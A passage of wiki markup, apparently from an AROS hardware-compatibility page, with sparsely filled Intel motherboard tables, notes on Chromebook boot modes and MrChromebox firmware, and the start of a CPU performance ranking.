| &lt;!--Opinion--&gt; 6th gen intel -  2 ddr4 slots 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus H170 Pro Gaming
| &lt;!--Chipset--&gt;H170 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata 
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;Asmedia USB3.1/3.0
| &lt;!--Ethernet--&gt;{{no|intel lan}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI Z170A TOMAHAWK 
| &lt;!--Chipset--&gt;Z170 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sara, 1 x 2280 Key M(PCIe Gen3 x4/SATA), 1 x 2230 Key E(Wi-Fi) 
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|intel lan}} 
| &lt;!--Opinion--&gt;2016 64bit up to i7 7700k - 2 DDR4 - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;GIGABYTE GA-B250M-DS3H HD3P D3H D2V 
| &lt;!--Chipset--&gt;B250 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2018 coffee lake intel 8th gen
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus 
| &lt;!--Chipset--&gt; with Kaby Lake X Intel 7th Gen 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt; up to 16 pcie lanes 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus 
| &lt;!--Chipset--&gt; Z390 with Kaby Lake X
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt; up to 16 pcie lanes 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; Q370M 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; H370M 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; B360M 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus Rampage 
| &lt;!--Chipset--&gt;x299 with  i9
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;  - up to 24 to 44 pcie lanes 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte 
| &lt;!--Chipset--&gt;X299
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


=====Socket LGA 1200 (2020/2022)=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;MSI H510M-A PRO (MS-7D22)
| &lt;!--Chipset--&gt; with 10th gen Comet Lake X
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2021 64bit -  up to 16 pcie lanes rebar possible 
|-
| &lt;!--Name--&gt;Asus PRIME H410M-E
Asrock H470M-HDV/M.2
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus 
| &lt;!--Chipset--&gt; with 11th gen Rocket Lake X
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt; up to 16 pcie lanes 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


=====Socket LGA 1700 (2023/ )=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Alder Lake / 14th gen Raptor Lake 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2021 2022 64bit - QoS work to 2 level cpus, P down to E cores - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Meteor Lake ultra 5 7 1xxH series 1 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2023 2024 64bit 10nm - 3 level cpus, Low Power Island (SOC tile) to E onto P cores - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 15th gen Arrow Lake
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Lunar lake ultra 5 7 2xxV series 2 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2025 64bit 7nm - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Nova Lake 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2026 64bit - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Panther Lake 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2026 64bit - either 44, 484, or 448 tiled cores 18A process - core ultra x9 288h, x7 358H, - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA 1954 (2027/ )=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Nova Lake-S
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Serpent Lake, Titan Lake, and Razer Lake
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2027
|-
|}


=====Socket LGA (203x/203x)=====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;MSI
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


===Chromebooks===

For most (EOL) cromebooks, the recommended UEFI path forward is to:

*put the device into Developer Mode
*disable firmware write protection
*flash MrChromebox's UEFI Full ROM firmware
*install ChromeOS Flex, Linux, etc


See [https://mrchromebox.tech/#home MrChrome], [https://mrchromebox.tech MrChrome] and the [https://www.reddit.com/r/chrultrabook/ chrultrabook subreddit] for more info


ChromeOS has several different boot modes, which are important to understand in the context of modifying your device to run an alternate OS:

*Normal/Verified Boot Mode
        Can only boot Google-signed ChromeOS images
        Full verification of firmware and OS kernel
        No root access to the system, no ability to run Linux or boot other OSes
        Automatically enters Recovery Mode if any step of Verified Boot fails
        Default / out-of-the-box setting for all ChromeOS devices

*Recovery Mode
        User presented with Recovery Mode boot screen (white screen with 'ChromeOS is missing or damaged')
        Boots only USB/SD with signed Google recovery image
        Automatically entered when Verified Boot Mode fails
        Can be manually invoked:
        On Chromebooks, via keystroke: [ESC+Refresh+Power]
        On Chromeboxes, by pressing a physical recovery button at power-on
        On Convertibles/Tablets, by holding the Power, Vol+, and Vol- buttons for 10s and then release
        Allows for transition from Verified Boot Mode to Developer Mode
        On Chromebooks/Chromeboxes, via keystroke: [CTRL+D]
        On Convertibles/Tablets, via button press: Vol+/Vol- simultaneously
        Booting recovery media on USB/SD will repartition/reformat internal storage and reload ChromeOS

Note: The ChromeOS recovery process does not reset the firmware boot flags (GBB Flags), so if those are changed from the default, they will still need to be reset for factory default post-recovery.

*Developer Mode
        &quot;Jailbreak&quot; mode built-in to every ChromeOS device
        Loosened security restrictions, allows root/shell access, ability to run Linux via crouton
        Verified Boot (signature checking) disabled by default, but can be re-enabled
        Enabled via [CTRL+D] on the Recovery Mode boot screen
        Boots to the developer mode boot screen (white screen with 'OS verification is off' text), 

The user can select via keystroke 
&lt;pre&gt;
           ChromeOS (in developer mode) on internal storage ( [CTRL+D] )
           ChromeOS/ChromiumOS on USB ( [CTRL+U] )
           Legacy Boot Mode ( [CTRL+L] )
&lt;/pre&gt;
Boot screen displays the ChromeOS device/board name in the hardware ID string (eg, PANTHER F5U-C92, which is useful to know in the context of device recovery, firmware support, or in determining what steps are required to install a given alternate OS on the device.

*Legacy Boot Mode
        Unsupported method for booting alternate OSes (Linux, Windows) via the SeaBIOS RW_LEGACY firmware 
        Accessed via [CTRL+L] on the developer mode boot screen
        Requires explicit enabling in Developer Mode via command line: sudo crossystem dev_boot_legacy=1 
        Most  ChromeOS devices require a RW_LEGACY firmware update first
        Boots to the (black) SeaBIOS splash screen; if multiple boot devices are available, prompt shows the boot menu

Note: If you hear two beeps after pressing [CTRL+L], then either your device doesn't have a valid Legacy Boot Mode / RW_LEGACY firmware installed, or legacy boot capability has not been been enabled via crossystem.


https://www.howtogeek.com/278953/how-to-install-windows-on-a-chromebook/

Chromebooks don’t officially support other OSs. You normally can’t even install as Chromebooks ship with a special type of BIOS designed for Chrome OS. But there are ways to install, if you’re willing to get your hands dirty and potentially ruin everything 

[https://mrchromebox.tech/#devices Firmware Compatibility] 

[https://wiki.galliumos.org/Hardware_Compatibility Here is the list of hardware that the GalliumOS supports and information on getting Gallium OS on to those devices]

Development on GalliumOS has been discontinued, and for most users, GalliumOS is not the best option for running Linux due to lack of hardware support or a kernel that's out of date and lacking important security fixes.

Meet Eupnea and Depthboot, the successors to Galliumos and Breath [https://eupnea-linux.github.io This is the bleeding edge] 

Most older Chromebooks need the write-protect screw removed in order to install MrChromebox's firmware that allows you to install other operating systems. Most newer Chromebooks don't work in the same way as there is no write-protect screw on them. 


Very rough guide to '''total''' (i.e. all cores / threads) processor performance (AROS usually uses only the [https://gmplib.org/gmpbench one core]) 

[[#top|...to the top]]

&lt;pre&gt;

060000    AMD Ryzen 9 7900X (AM5 170W), 
056000    AMD Ryzen 9 5950X, 
055000    AMD Ryzen 9 5900X3D, 
053000    AMD Ryzen 9 5900X (AM4 105W), AMD Ryzen 9 3950X (105W), 
044000    AMD Ryzen 7 5800X3D, 
042000    AMD Ryzen 9 6900HX, AMD Ryzen 5 5600X3D (AM4 95W), AMD Ryzen 7 PRO 5750GE (AM4 35W), 
